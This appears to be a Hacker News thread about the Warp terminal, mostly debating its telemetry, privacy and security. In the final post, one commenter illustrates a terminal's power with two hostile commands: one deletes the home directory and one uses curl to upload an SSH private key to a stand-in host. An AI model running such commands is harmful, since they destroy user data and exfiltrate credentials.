Show HN: Warp, a Rust-based terminal

Post by heavyset_go » Wed, Apr 06, 2022, 12:58 AM UTC

bitwize wrote: post #431

Groxx wrote: post #366

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Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.

> Absolutely nothing works better, it's the best by a ridiculously large margin. Then why is the telemetry-encrusted modern Windows a usability fail, even compared to past versions of Windows which relied on extensive in-house user testing?

Post by kmonsen » Wed, Apr 06, 2022, 1:00 AM UTC

zhengt wrote: post #321

OutsmartDan wrote: post #71

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That's a ton of data being collected. I would rather much have this submitted during a crash, rather than opt-in/opt-out. I'd not want to use a terminal that has data collection that crosses the internet every time I use it.

Totally understand if you don't feel comfortable using it! The reason we don't submit this only during a crash, is because there are a lot of other things we want to know about users like: Which features are they using? Are they sticking to warp as their daily driver? How much time do they spend in the app? We do want to make the telemetry opt-in after Warp is out of beta.

Post by steveklabnik » Wed, Apr 06, 2022, 1:02 AM UTC

Fnoord wrote: post #358

steveklabnik wrote: post #165

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(Not affiliated with Warp but care about this particular thing) Shell scripts implies, well, a particular shell. If everyone is on similar OSes, maybe that works for you, but as a Windows user, "pile of bash scripts" might as well be "doesn't work for you." I use a terminal for my daily work, but don't have bash installed on my machine. That said, I haven't tried Warp yet specifically because it's Mac-only right now.…

Nix(OS) already solves this problem.

Post by chaxor » Wed, Apr 06, 2022, 1:03 AM UTC

alpaca128 wrote: post #287

exdsq wrote: post #55

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Maybe not but I'd trust Microsoft has a decent security and privacy team working on this more than a startup. What if they're logging the wrong stuff and my data is leaked?

You mean like when Microsoft started uploading all handwriting & voice recognition inputs including passwords? History has shown that telemetry is effectively spyware until proven otherwise, no matter who does it.

Post by heavyset_go » Wed, Apr 06, 2022, 1:04 AM UTC

gernb wrote: post #374

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Also: security? I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser. Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that c…

> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com ` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal…